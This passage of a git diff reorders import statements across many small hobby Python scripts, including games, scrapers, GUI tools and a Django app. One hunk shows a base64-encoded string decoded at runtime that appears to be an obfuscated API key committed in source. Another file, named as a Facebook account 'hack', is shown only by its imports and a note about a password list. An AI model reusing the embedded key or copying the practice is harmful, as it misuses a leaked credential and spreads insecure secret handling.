as wk + def wiki(): """ diff --git a/Youtube Downloader With GUI/main.py b/Youtube Downloader With GUI/main.py index b21e4495a99..d238d7618e8 100644 --- a/Youtube Downloader With GUI/main.py +++ b/Youtube Downloader With GUI/main.py @@ -1,11 +1,12 @@ # libraraies -from pytube import * import os +from threading import * from tkinter import * from tkinter.filedialog import * from tkinter.messagebox import * -from threading import * + +from pytube import * file_size = 0 diff --git a/advanced_calculator.py b/advanced_calculator.py index 315de323508..3037b5682b1 100644 --- a/advanced_calculator.py +++ b/advanced_calculator.py @@ -10,11 +10,12 @@ # How can I market gtts? Like showing used google's api? This is how can I market it? # Project description? What will be the project description? -from gtts import gTTS -from pygame import mixer, time from io import BytesIO from pprint import pprint +from gtts import gTTS +from pygame import mixer, time + # Find the best of best extensions for the auto generation of the documentation parts. # For your favourite languages like JavaScript, Python ,etc,... # Should be able to print date and time too. diff --git a/agecalculator.py b/agecalculator.py index 86813e30f9f..3b4ca5958e6 100644 --- a/agecalculator.py +++ b/agecalculator.py @@ -1,7 +1,8 @@ -from _datetime import datetime import tkinter as tk from tkinter import ttk + from _datetime import * +from _datetime import datetime win = tk.Tk() win.title("Age Calculate") diff --git a/automail.py b/automail.py index c7a3f7ed236..2b765ef7ee9 100644 --- a/automail.py +++ b/automail.py @@ -2,10 +2,11 @@ # simple simon says module that interacts with google API to read the subject line of an email and respond to "Simon says:" # DO NOT FORGET TO ADD CREDENTIALS.JSON AND TOKEN.JSON TO .GITIGNORE!!! -import ezgmail import re import time +import ezgmail + check = True while check: recThreads = ezgmail.recent() diff --git a/bank_managment_system/QTFrontend.py b/bank_managment_system/QTFrontend.py index f1b5523f789..a947ca4378f 100644 --- a/bank_managment_system/QTFrontend.py +++ b/bank_managment_system/QTFrontend.py @@ -1,6 +1,7 @@ -from PyQt5 import QtCore, QtGui, QtWidgets import sys + import backend +from PyQt5 import QtCore, QtGui, QtWidgets backend.connect_database() diff --git a/bank_managment_system/backend.py b/bank_managment_system/backend.py index 081d4d3d551..4ee25472ce1 100644 --- a/bank_managment_system/backend.py +++ b/bank_managment_system/backend.py @@ -1,5 +1,5 @@ -import sqlite3 import os +import sqlite3 class DatabaseManager: diff --git a/binary_search_trees/delete_a_node_in_bst.py b/binary_search_trees/delete_a_node_in_bst.py index 8d144cba4ac..822e0f29e0d 100644 --- a/binary_search_trees/delete_a_node_in_bst.py +++ b/binary_search_trees/delete_a_node_in_bst.py @@ -1,4 +1,5 @@ from typing import Optional + from inorder_successor import inorder_successor from tree_node import Node diff --git a/binary_search_trees/inorder_traversal.py b/binary_search_trees/inorder_traversal.py index b63b01dbb28..cbac1615c25 100644 --- a/binary_search_trees/inorder_traversal.py +++ b/binary_search_trees/inorder_traversal.py @@ -1,4 +1,5 @@ from typing import Optional + from tree_node import Node diff --git a/binary_search_trees/insert_in_bst.py b/binary_search_trees/insert_in_bst.py index 8201261ae1b..bd9e81b12b6 100644 --- a/binary_search_trees/insert_in_bst.py +++ b/binary_search_trees/insert_in_bst.py @@ -1,4 +1,5 @@ from typing import Optional + from tree_node import Node diff --git a/binary_search_trees/main.py b/binary_search_trees/main.py index f2f618920e4..1216f4681fe 100644 --- a/binary_search_trees/main.py +++ b/binary_search_trees/main.py @@ -1,12 +1,13 @@ from typing import Optional -from insert_in_bst import insert + from delete_a_node_in_bst import delete_node -from search_in_bst import search +from insert_in_bst import insert from mirror_a_bst import create_mirror_bst from print_in_range import print_in_range from root_to_leaf_paths import print_root_to_leaf_paths -from validate_bst import is_valid_bst +from search_in_bst import search from tree_node import Node +from validate_bst import is_valid_bst def main() -> None: diff --git a/binary_search_trees/mirror_a_bst.py b/binary_search_trees/mirror_a_bst.py index 579b7766092..45436e29098 100644 --- a/binary_search_trees/mirror_a_bst.py +++ b/binary_search_trees/mirror_a_bst.py @@ -1,4 +1,5 @@ from typing import Optional + from tree_node import Node diff --git a/binary_search_trees/print_in_range.py b/binary_search_trees/print_in_range.py index 351c81422f8..c2090fba09b 100644 --- a/binary_search_trees/print_in_range.py +++ b/binary_search_trees/print_in_range.py @@ -1,4 +1,5 @@ from typing import Optional + from tree_node import Node diff --git a/binary_search_trees/root_to_leaf_paths.py b/binary_search_trees/root_to_leaf_paths.py index ad30892886c..e2d65a0a0e7 100644 --- a/binary_search_trees/root_to_leaf_paths.py +++ b/binary_search_trees/root_to_leaf_paths.py @@ -1,4 +1,5 @@ -from typing import Optional, List +from typing import List, Optional + from tree_node import Node diff --git a/binary_search_trees/search_in_bst.py b/binary_search_trees/search_in_bst.py index c5675a6a558..903af465dfe 100644 --- a/binary_search_trees/search_in_bst.py +++ b/binary_search_trees/search_in_bst.py @@ -1,4 +1,5 @@ from typing import Optional + from tree_node import Node diff --git a/binary_search_trees/validate_bst.py b/binary_search_trees/validate_bst.py index 186c8fbc039..a20936a5232 100644 --- a/binary_search_trees/validate_bst.py +++ b/binary_search_trees/validate_bst.py @@ -1,4 +1,5 @@ from typing import Optional + from tree_node import Node diff --git a/binod.py b/binod.py index 2bee72de9d6..af157c111df 100644 --- a/binod.py +++ b/binod.py @@ -7,11 +7,11 @@ # def checkBinod(file): # ======= +import os # def checkBinod(file): #this function will check there is any 'Binod' text in file or not # with open(file, "r") as f: #we are opening file in read mode and using 'with' so need to take care of close() # ======= import time -import os # Importing our Bindoer print("To Kaise Hai Ap Log!") diff --git a/blackJackGUI.py b/blackJackGUI.py index a67e6e06717..5ce2d20d2db 100644 --- a/blackJackGUI.py +++ b/blackJackGUI.py @@ -1,5 +1,7 @@ from __future__ import print_function + import random + import simplegui CARD_SIZE = (72, 96) diff --git a/bookstore_manangement_system.py b/bookstore_manangement_system.py index 9ef2809337b..58df07fdde1 100644 --- a/bookstore_manangement_system.py +++ b/bookstore_manangement_system.py @@ -1,6 +1,5 @@ import os - import mysql.connector as mys mycon = mys.connect( diff --git a/calculator-gui.py b/calculator-gui.py index fa9befa47f0..3e4256d8ed9 100755 --- a/calculator-gui.py +++ b/calculator-gui.py @@ -1,7 +1,6 @@ # ==================== Libraries ==================== import tkinter as tk -from tkinter import ttk -from tkinter import messagebox +from tkinter import messagebox, ttk # =================================================== # ==================== Classes ====================== diff --git a/calculator.py b/calculator.py index ff456112afa..5ef2f4ecdd3 100644 --- a/calculator.py +++ b/calculator.py @@ -25,9 +25,10 @@ import sys +from fileinfo import raw_input + ## Imported math library to run sin(), cos(), tan() and other such functions in the calculator -from fileinfo import raw_input def calc(term): diff --git a/check_for_sqlite_files.py b/check_for_sqlite_files.py index 556d348f8af..f626ec38859 100644 --- a/check_for_sqlite_files.py +++ b/check_for_sqlite_files.py @@ -14,7 +14,7 @@ def isSQLite3(filename): - from os.path import isfile, getsize + from os.path import getsize, isfile if not isfile(filename): return False diff --git a/colorma_as_color.py b/colorma_as_color.py index 345f2043697..a6cbd8725da 100644 --- a/colorma_as_color.py +++ b/colorma_as_color.py @@ -1,4 +1,4 @@ -from colorama import Fore, Back, Style +from colorama import Back, Fore, Style print(Fore.RED + "some red text") print(Back.GREEN + "and with a green background") diff --git a/cricket_news.py b/cricket_news.py index 8c78c1820e6..b5c6405a28f 100644 --- a/cricket_news.py +++ b/cricket_news.py @@ -1,6 +1,6 @@ -from bs4 import BeautifulSoup -import requests import pyttsx3 +import requests +from bs4 import BeautifulSoup engine = pyttsx3.init() voices = engine.getProperty("voices") diff --git a/currency converter/main.py b/currency converter/main.py index 51c80445791..8327b73056a 100644 --- a/currency converter/main.py +++ b/currency converter/main.py @@ -1,11 +1,10 @@ # cc program -from PyQt5.QtGui import * -from PyQt5.QtCore import * -from PyQt5.QtWidgets import * -from PyQt5 import QtWidgets, uic -from PyQt5.QtCore import * import httpx from bs4 import BeautifulSoup +from PyQt5 import QtWidgets, uic +from PyQt5.QtCore import * +from PyQt5.QtGui import * +from PyQt5.QtWidgets import * def getVal(cont1, cont2): diff --git a/daily_horoscope.py b/daily_horoscope.py index 04669971819..556be32753c 100644 --- a/daily_horoscope.py +++ b/daily_horoscope.py @@ -1,5 +1,5 @@ -from bs4 import BeautifulSoup import requests +from bs4 import BeautifulSoup """ this check_sign function checks and returns the zodiac sign diff --git a/days_from_date.py b/days_from_date.py index 61f09cc81fe..938c0b7adec 100644 --- a/days_from_date.py +++ b/days_from_date.py @@ -1,6 +1,6 @@ -import re # regular expressions import calendar # module of python to provide useful fucntions related to calendar import datetime # module of python to get the date and time +import re # regular expressions import tkinter as tk root = tk.Tk() diff --git a/depreciated_programs/corona_cases.py b/depreciated_programs/corona_cases.py index 0ed34017091..4f7f4d60987 100644 --- a/depreciated_programs/corona_cases.py +++ b/depreciated_programs/corona_cases.py @@ -23,6 +23,7 @@ import sys import time + import requests # API endpoints diff --git a/diction.py b/diction.py index e4757e3db0e..89b2555a1cf 100644 --- a/diction.py +++ b/diction.py @@ -1,6 +1,7 @@ +import json from difflib import get_close_matches + import pyttsx3 -import json import speech_recognition as sr data = json.load(open("data.json")) diff --git a/digital_clock.py b/digital_clock.py index 98b7e6fc00e..8ba39b482c1 100644 --- a/digital_clock.py +++ b/digital_clock.py @@ -4,16 +4,14 @@ # using python code base import time - +# importing strftime function to +# retrieve system's time +from time import strftime # because we need digital clock , so we are importing the time library. # master from tkinter import * from tkinter.ttk import * -# importing strftime function to -# retrieve system's time -from time import strftime - # creating tkinter window root = Tk() root.title("Clock") diff --git a/facebook id hack.py b/facebook id hack.py index 77986ad0cfc..e23bd4a4a94 100644 --- a/facebook id hack.py +++ b/facebook id hack.py @@ -1,9 +1,10 @@ # Author-Kingslayer # Email-kingslayer8509@gmail.com # you need to create a file password.txt which contains all possible passwords +import sys + import requests from bs4 import BeautifulSoup -import sys if sys.version_info[0] != 3: print("""-------------------------------------- diff --git a/facebook-autologin-bot.py b/facebook-autologin-bot.py index 261f02721d5..81962eeb1ed 100644 --- a/facebook-autologin-bot.py +++ b/facebook-autologin-bot.py @@ -1,5 +1,6 @@ -import pyttsx3 import time + +import pyttsx3 from selenium import webdriver tts = pyttsx3.init() diff --git a/fastapi.py b/fastapi.py index 8689d7c5b65..0f5db2e787f 100644 --- a/fastapi.py +++ b/fastapi.py @@ -1,7 +1,9 @@ -from fastapi import FastAPI -from pydantic import BaseModel from typing import Optional +from pydantic import BaseModel + +from fastapi import FastAPI + app = FastAPI() # temp database diff --git a/file_ext_changer.py b/file_ext_changer.py index 407e46f991c..1f27659aa7b 100644 --- a/file_ext_changer.py +++ b/file_ext_changer.py @@ -1,9 +1,9 @@ """' Multiple extension changer""" +import hashlib +import random as rand import time from pathlib import Path as p -import random as rand -import hashlib def chxten_(files, xten): diff --git a/file_handle/File handle binary/Update a binary file2.py b/file_handle/File handle binary/Update a binary file2.py index 37b5a24e459..b32f69ffee3 100644 --- a/file_handle/File handle binary/Update a binary file2.py +++ b/file_handle/File handle binary/Update a binary file2.py @@ -1,7 +1,7 @@ # updating records in a binary file -import pickle import os +import pickle base = os.path.dirname(__file__) from dotenv import load_dotenv diff --git a/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py b/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py index e2128e2db42..2b9b770c2d5 100644 --- a/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py +++ b/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py @@ -12,9 +12,10 @@ ## Find bright students and weak students -from dotenv import load_dotenv import os +from dotenv import load_dotenv + base = os.path.dirname(__file__) load_dotenv(os.path.join(base, ".env")) student_record = os.getenv("STUDENTS_RECORD_FILE") diff --git a/file_handle/File handle binary/update2.py b/file_handle/File handle binary/update2.py index ecb55168906..b914f3042a8 100644 --- a/file_handle/File handle binary/update2.py +++ b/file_handle/File handle binary/update2.py @@ -1,5 +1,6 @@ -import pickle import os +import pickle + from dotenv import load_dotenv base = os.path.dirname(__file__) diff --git a/file_handle/File handle text/question 5.py b/file_handle/File handle text/question 5.py index 1c3ec52935e..e6ec8b479ac 100644 --- a/file_handle/File handle text/question 5.py +++ b/file_handle/File handle text/question 5.py @@ -1,8 +1,9 @@ """Write a function in python to count the number of lowercase alphabets present in a text file “happy.txt""" -import time import os +import time + from counter import Counter print( diff --git a/floodfill/floodfill.py b/floodfill/floodfill.py index b4c39735f23..e57f2fdd7d8 100644 --- a/floodfill/floodfill.py +++ b/floodfill/floodfill.py @@ -26,8 +26,8 @@ def generateClosedPolygons(self): if self.window_height < 128 or self.window_width < 128: return # surface too small + from math import cos, pi, sin from random import randint, uniform - from math import pi, sin, cos for n in range(0, randint(0, 5)): x = randint(50, self.window_width - 50) diff --git a/friday.py b/friday.py index 544a1d7516d..4c0b4f3b5af 100644 --- a/friday.py +++ b/friday.py @@ -1,6 +1,7 @@ -import pyttsx3 import os +import pyttsx3 + var = 1 while var > 0: diff --git a/game_of_life/game_o_life.py b/game_of_life/game_o_life.py index 045c3715b51..ee58d1c27dc 100644 --- a/game_of_life/game_o_life.py +++ b/game_of_life/game_o_life.py @@ -32,7 +32,6 @@ import sys import numpy as np - from matplotlib import use as mpluse mpluse("TkAgg") diff --git a/get_youtube_view.py b/get_youtube_view.py index 118f0f7c37f..445e537adce 100644 --- a/get_youtube_view.py +++ b/get_youtube_view.py @@ -10,7 +10,6 @@ # Added pafy to get video length for the user import pafy - # Changed the method of opening the browser. # Selenium allows for the page to be refreshed. from selenium import webdriver diff --git a/googlemaps.py b/googlemaps.py index 8b049bcbaf1..779230e6157 100644 --- a/googlemaps.py +++ b/googlemaps.py @@ -1,5 +1,5 @@ -import requests import geocoder +import requests g = geocoder.ip("me") diff --git a/googleweb.py b/googleweb.py index 3b59364522d..2f5e9fb6672 100644 --- a/googleweb.py +++ b/googleweb.py @@ -1,8 +1,8 @@ -from fuzzywuzzy import fuzz import bs4 -import requests import numpy as np import pandas as pd +import requests +from fuzzywuzzy import fuzz requests.packages.urllib3.disable_warnings() FinalResult = [] diff --git a/gstin_scraper.py b/gstin_scraper.py index a043480331e..be5804e25c0 100644 --- a/gstin_scraper.py +++ b/gstin_scraper.py @@ -1,7 +1,8 @@ -from bs4 import BeautifulSoup -import requests import time +import requests +from bs4 import BeautifulSoup + # Script Name : gstin_scraper.py # Author : Purshotam # Created : Sep 6, 2021 7:59 PM diff --git a/image2pdf/image2pdf.py b/image2pdf/image2pdf.py index 4a353dbfd52..e8a96d16c08 100644 --- a/image2pdf/image2pdf.py +++ b/image2pdf/image2pdf.py @@ -1,6 +1,7 @@ -from PIL import Image import os +from PIL import Image + class image2pdf: def __init__(self): diff --git a/image_compressor.py b/image_compressor.py index 90249d12972..ef48b158a75 100644 --- a/image_compressor.py +++ b/image_compressor.py @@ -1,5 +1,6 @@ import os import sys + from PIL import Image diff --git a/invisible_clock.py b/invisible_clock.py index 17f6d97b106..f49d0324afc 100644 --- a/invisible_clock.py +++ b/invisible_clock.py @@ -1,11 +1,12 @@ # Hey you need red color cloak +import time + import cv2 +import numpy as np # superinposing two images -import numpy as np -import time cap = cv2.VideoCapture(0) diff --git a/loader.py b/loader.py index 41838271f63..faf30df7f72 100644 --- a/loader.py +++ b/loader.py @@ -6,9 +6,9 @@ """ import itertools +import sys import threading import time -import sys # The task is not done right now done = False diff --git a/magic_8_ball.py b/magic_8_ball.py index 816705b8e21..cd2b6b2fe19 100644 --- a/magic_8_ball.py +++ b/magic_8_ball.py @@ -1,6 +1,7 @@ import random -from colorama import Fore, Style + import inquirer +from colorama import Fore, Style responses = [ "It is certain", diff --git a/mapit.py b/mapit.py index 73d8666d7b7..434dde76f74 100644 --- a/mapit.py +++ b/mapit.py @@ -1,5 +1,6 @@ import sys import webbrowser + import pyperclip if len(sys.argv) > 1: diff --git a/meme_maker.py b/meme_maker.py index 7cb4b550701..01cd6596451 100644 --- a/meme_maker.py +++ b/meme_maker.py @@ -1,6 +1,6 @@ import sys -from PIL import ImageDraw, ImageFont, Image +from PIL import Image, ImageDraw, ImageFont def input_par(): diff --git a/memorygame.py b/memorygame.py index 9266a2cd54e..c63f8220438 100644 --- a/memorygame.py +++ b/memorygame.py @@ -1,5 +1,6 @@ from random import * from turtle import * + from freegames import path car = path("car.gif") diff --git a/mobilePhoneSpecsScrapper.py b/mobilePhoneSpecsScrapper.py index b749e210a0f..e24519fd418 100644 --- a/mobilePhoneSpecsScrapper.py +++ b/mobilePhoneSpecsScrapper.py @@ -1,11 +1,10 @@ -import requests -from bs4 import BeautifulSoup - +# import time +import json # import csv import os -# import time -import json +import requests +from bs4 import BeautifulSoup class Phonearena: diff --git a/nasa_apod_with_requests/run.py b/nasa_apod_with_requests/run.py index 4d8048d022c..4cb95bbff14 100644 --- a/nasa_apod_with_requests/run.py +++ b/nasa_apod_with_requests/run.py @@ -1,7 +1,8 @@ -from settings import key -import requests import os +import requests +from settings import key + date = input("Enter date(YYYY-MM-DD): ") r = requests.get(f"https://api.nasa.gov/planetary/apod?api_key={key}&date={date}") parsed = r.json() diff --git a/news_articles__scraper.py b/news_articles__scraper.py index a9266ad0a58..6ff848e79bf 100644 --- a/news_articles__scraper.py +++ b/news_articles__scraper.py @@ -15,7 +15,6 @@ import pandas as pd import requests - # importing necessary libraries from bs4 import BeautifulSoup from newspaper import Article diff --git a/news_oversimplifier.py b/news_oversimplifier.py index 08b828584ff..1aced6e7bca 100644 --- a/news_oversimplifier.py +++ b/news_oversimplifier.py @@ -3,9 +3,10 @@ # (requires API key in .env file) -import requests import os import sys + +import requests from dotenv import load_dotenv from summa.summarizer import summarize diff --git a/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py b/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py index 8504d0ecd46..ca85f24ce19 100644 --- a/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py +++ b/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py @@ -10,24 +10,22 @@ # import modules import datetime # datetime module supplies classes for manipulating dates and times +import json +# master +# auto install for pyttsx3 and speechRecognition +import os import subprocess # subprocess module allows you to spawn new processes # master import pyjokes # for generating random jokes import requests -import json -from PIL import ImageGrab from gtts import gTTS - +from PIL import ImageGrab +from playsound import * # for sound output # for 30 seconds clip "Jarvis, clip that!" and discord ctrl+k quick-move (might not come to fruition) from pynput import keyboard from pynput.keyboard import Key from pynput.mouse import Controller -from playsound import * # for sound output - -# master -# auto install for pyttsx3 and speechRecognition -import os try: import pyttsx3 # Check if already installed @@ -42,8 +40,8 @@ import speech_recognition as sr # speech_recognition Library for performing speech recognition with support for Google Speech Recognition, etc.. # importing the pyttsx3 library -import webbrowser import smtplib +import webbrowser # initialisation engine = pyttsx3.init() @@ -82,9 +80,10 @@ def sendEmail(to, content): server.close() -import openai import base64 +import openai + # Will learn it. stab = base64.b64decode( b"c2stMGhEOE80bDYyZXJ5ajJQQ3FBazNUM0JsYmtGSmRsckdDSGxtd3VhQUE1WWxsZFJx" diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/admin.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/admin.py index bc4a2a3d232..dd4406a38fa 100644 --- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/admin.py +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from .models import Todo # Register your models here. diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/forms.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/forms.py index 11fda28ba07..3727e6d56c0 100644 --- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/forms.py +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/forms.py @@ -1,4 +1,5 @@ from django import forms + from .models import Todo diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/0001_initial.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/0001_initial.py index 71ce3e8d531..4858378d224 100644 --- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/0001_initial.py +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/0001_initial.py @@ -1,7 +1,7 @@ # Generated by Django 4.2.5 on 2023-09-30 16:11 -from django.db import migrations, models import django.utils.timezone +from django.db import migrations, models class Migration(migrations.Migration): diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py index f6453e063be..fdc64e725d3 100644 --- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py @@ -1,12 +1,13 @@ -from django.shortcuts import render, redirect from django.contrib import messages +from django.shortcuts import redirect, render + +from .forms import TodoForm +from .models import Todo # Create your views here. # Import todo form and models -from .forms import TodoForm -from .models import Todo def index(request): diff --git a/nodepad/notepad.py b/nodepad/notepad.py index 69362e5af50..bff49c36204 100644 --- a/nodepad/notepad.py +++ b/nodepad/notepad.py @@ -16,8 +16,7 @@ """ import sys -from tkinter import Tk, Toplevel, Frame, Label, Button, Entry, Text, WORD -from tkinter import ttk +from tkinter import WORD, Button, Entry, Frame, Label, Text, Tk, Toplevel, ttk import notepad_support diff --git a/nodepad/notepad_support.py b/nodepad/notepad_support.py index 1be46cf502f..5d514d6327c 100644 --- a/nodepad/notepad_support.py +++ b/nodepad/notepad_support.py @@ -15,8 +15,8 @@ search, navigation, and deletion. """ -import sys import sqlite3 +import sys from tkinter import END # explicit imports instead of * # ---------------------------------------------------------------------- diff --git a/other_pepole/get_ip_gui b/other_pepole/get_ip_gui index 8043831c3bd..0803046fc74 100755 --- a/other_pepole/get_ip_gui +++ b/other_pepole/get_ip_gui @@ -2,9 +2,9 @@ # -*- coding: utf-8 -*- import socket -from tkinter import Tk, Label, Button, Frame -from urllib.request import urlopen +from tkinter import Button, Frame, Label, Tk from urllib.error import URLError +from urllib.request import urlopen class IPApp: diff --git a/password guessing.py b/password guessing.py index 774db7f4e8c..f17e2117bd2 100644 --- a/password guessing.py +++ b/password guessing.py @@ -57,6 +57,7 @@ def guess_password_simulation(password: str) -> str: if __name__ == "__main__": import doctest + import pyautogui doctest.testmod() diff --git a/password_manager.py b/password_manager.py index 961f4a31925..aa93f649462 100644 --- a/password_manager.py +++ b/password_manager.py @@ -1,6 +1,6 @@ +import os import sqlite3 from getpass import getpass -import os # set the environment variable ADMIN_PASS to your desired string, which will be your password. ADMIN_PASSWORD = os.environ["ADMIN_PASS"] diff --git a/password_programs_multiple/passwordGenerator.py b/password_programs_multiple/passwordGenerator.py index 2e7678ae660..a6e3e8cae7d 100644 --- a/password_programs_multiple/passwordGenerator.py +++ b/password_programs_multiple/passwordGenerator.py @@ -2,6 +2,7 @@ # modified Prince Gangurde 4/4/2020 import random + import pycountry diff --git a/photo_timestamp_renamer.py b/photo_timestamp_renamer.py index ac8be102b74..dff6be71a99 100644 --- a/photo_timestamp_renamer.py +++ b/photo_timestamp_renamer.py @@ -17,18 +17,19 @@ """ from __future__ import annotations + import argparse +import re +import sys from dataclasses import dataclass from datetime import datetime from pathlib import Path -import re -import sys SUPPORTED_EXTS = {".jpg", ".jpeg", ".png", ".heic", ".webp", ".tif", ".tiff"} # EXIF support is optional (w\ Pillow) try: - from PIL import Image, ExifTags # type: ignore + from PIL import ExifTags, Image # type: ignore PIL_OK = True except Exception: diff --git a/polygon.py b/polygon.py index ba300f8a317..d22702900ef 100644 --- a/polygon.py +++ b/polygon.py @@ -1,5 +1,6 @@ -import pygame import sys + +import pygame from pygame.locals import * pygame.init() diff --git a/primelib/primelib.py b/primelib/primelib.py index 25feb0676b7..3467ba9a9c4 100644 --- a/primelib/primelib.py +++ b/primelib/primelib.py @@ -17,7 +17,10 @@ import math from functools import lru_cache -from sympy import isprime, factorint, primerange, prime as sympy_prime + +from sympy import factorint, isprime +from sympy import prime as sympy_prime +from sympy import primerange # ---------- Basic utilities ---------- @@ -304,7 +307,8 @@ def goldbach(number: int) -> list[int]: def pi(maxK: int = 70, prec: int = 1008, disp: int = 1007) -> str: """Compute π using the Chudnovsky algorithm (unchanged).""" - from decimal import Decimal as Dec, getcontext as gc + from decimal import Decimal as Dec + from decimal import getcontext as gc gc().prec = prec K, M, L, X, S = 6, 1, 13591409, 1, 13591409 diff --git a/python Space Invader game.py b/python Space Invader game.py index 98cdc769ce9..3438f04dc16 100644 --- a/python Space Invader game.py +++ b/python Space Invader game.py @@ -1,6 +1,7 @@ -import pygame -import random import math +import random + +import pygame from pygame import mixer # initialization diff --git a/qrcode.py b/qrcode.py index 69e10eed74d..bfdc5372bfd 100644 --- a/qrcode.py +++ b/qrcode.py @@ -1,6 +1,7 @@ -import qrcode import cv2 +import qrcode + qr = qrcode.QRCode(version=1, box_size=10, border=5) data = input() diff --git a/quote.py b/quote.py index ed3b1b1317f..f4feab06818 100644 --- a/quote.py +++ b/quote.py @@ -5,9 +5,10 @@ example quote -Quote Author Name """ -import requests from json import loads +import requests + def return_quote(): response = requests.get("https://zenquotes.io/api/random") diff --git a/random_file_move.py b/random_file_move.py index 38ccdc8649b..270160757c0 100644 --- a/random_file_move.py +++ b/random_file_move.py @@ -6,9 +6,9 @@ # Description : This will move specified number of files(given in ratio) from the src directory to dest directory. +import argparse import os import random -import argparse def check_ratio(x): diff --git a/recyclebin.py b/recyclebin.py index fe3e97e3a36..2f46f6e3be5 100644 --- a/recyclebin.py +++ b/recyclebin.py @@ -1,6 +1,7 @@ from __future__ import print_function import os # Load the Module +from winreg import HKEY_LOCAL_MACHINE, OpenKey, QueryValueEx from _winreg import * # Load the Module @@ -13,7 +14,6 @@ # Description : Scans the recyclebin and displays the files in there, originally got this script from the Violent Python book -from winreg import OpenKey, HKEY_LOCAL_MACHINE, QueryValueEx def sid2user(sid): # Start of the function to gather the user diff --git a/russian_roulette.py b/russian_roulette.py index 82374186515..736a74751c1 100644 --- a/russian_roulette.py +++ b/russian_roulette.py @@ -3,8 +3,8 @@ the computer """ -from random import randrange import time +from random import randrange def main(): diff --git a/send_message_automation/message_automation.py b/send_message_automation/message_automation.py index 5a797ece210..a22a7066d2d 100644 --- a/send_message_automation/message_automation.py +++ b/send_message_automation/message_automation.py @@ -1,6 +1,7 @@ -import pyautogui from time import sleep +import pyautogui + # Do you want to include the message counter? # make a class of it. diff --git a/sendemail.py b/sendemail.py index c586b9a0bb0..ed10bcf1485 100644 --- a/sendemail.py +++ b/sendemail.py @@ -1,4 +1,5 @@ from __future__ import print_function + import base64 import mimetypes import os @@ -10,7 +11,7 @@ import httplib2 import oauth2client -from apiclient import errors, discovery +from apiclient import discovery, errors from oauth2client import client, tools SCOPES = "https://www.googleapis.com/auth/gmail.send" diff --git a/sensors_information.py b/sensors_information.py index 0a233f26ab4..a36327d7f85 100644 --- a/sensors_information.py +++ b/sensors_information.py @@ -1,6 +1,7 @@ import argparse -import sys import socket +import sys + import psutil diff --git a/simulate_memory_cpu.py b/simulate_memory_cpu.py index 1a8ab142071..f374802aebe 100644 --- a/simulate_memory_cpu.py +++ b/simulate_memory_cpu.py @@ -4,8 +4,8 @@ Simulate cpu、 memory usage """ -import sys import re +import sys import time from multiprocessing import Process, cpu_count diff --git a/slack_message.py b/slack_message.py index c06416cbe82..259ef9d888a 100644 --- a/slack_message.py +++ b/slack_message.py @@ -1,10 +1,11 @@ from __future__ import print_function -# Created by sarathkaul on 11/11/19 - import json import urllib.request +# Created by sarathkaul on 11/11/19 + + # Set the webhook_url to the one provided by Slack when you create the webhook at https://my.slack.com/services/new/incoming-webhook/ webhook_url = ( "https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX" diff --git a/smart_file_organizer.py b/smart_file_organizer.py index d9062c9fc93..21b958a91d1 100644 --- a/smart_file_organizer.py +++ b/smart_file_organizer.py @@ -18,9 +18,9 @@ Sangam Paudel """ +import argparse import os import shutil -import argparse import time from datetime import datetime diff --git a/snake.py b/snake.py index 3c66cc599d4..57583805fb2 100644 --- a/snake.py +++ b/snake.py @@ -6,9 +6,9 @@ try: import curses - from time import sleep - from curses import KEY_RIGHT, KEY_LEFT, KEY_UP, KEY_DOWN + from curses import KEY_DOWN, KEY_LEFT, KEY_RIGHT, KEY_UP from random import randint + from time import sleep print( "Use the arrow keys to move, press the space bar to pause, and press ESC to quit" diff --git a/snake_case_renamer_depth_one.py b/snake_case_renamer_depth_one.py index bfd1d3ad21d..63f232a5a2e 100644 --- a/snake_case_renamer_depth_one.py +++ b/snake_case_renamer_depth_one.py @@ -1,5 +1,5 @@ -import os import argparse +import os def generate_unique_name(directory: str, name: str) -> str: diff --git a/sqlite_check.py b/sqlite_check.py index 27e35ace641..295274f8539 100644 --- a/sqlite_check.py +++ b/sqlite_check.py @@ -1,4 +1,5 @@ from __future__ import print_function + import os import sqlite3 as lite import sys diff --git a/stone_paper_scissor/main.py b/stone_paper_scissor/main.py index eebfdd424e3..87bf4aa96a5 100644 --- a/stone_paper_scissor/main.py +++ b/stone_paper_scissor/main.py @@ -1,8 +1,8 @@ -import utils - # import the random module import random +import utils + print("Starting the Rock Paper Scissors game!") player_name = input("Please enter your name: ") # Takes Input from the user diff --git a/text-to-audio/main.py b/text-to-audio/main.py index 4f18f5153a1..dcffc3237ec 100644 --- a/text-to-audio/main.py +++ b/text-to-audio/main.py @@ -1,6 +1,7 @@ -from gtts import gTTS import os +from gtts import gTTS + # Enter the text in string format which you want to convert to audio mytext = "Hello World!, this audio is created using GTTS module." diff --git a/text-to-audio/text-file-to-audio.py b/text-to-audio/text-file-to-audio.py index 5dd9bdd74fd..fefd380e525 100644 --- a/text-to-audio/text-file-to-audio.py +++ b/text-to-audio/text-file-to-audio.py @@ -1,6 +1,7 @@ 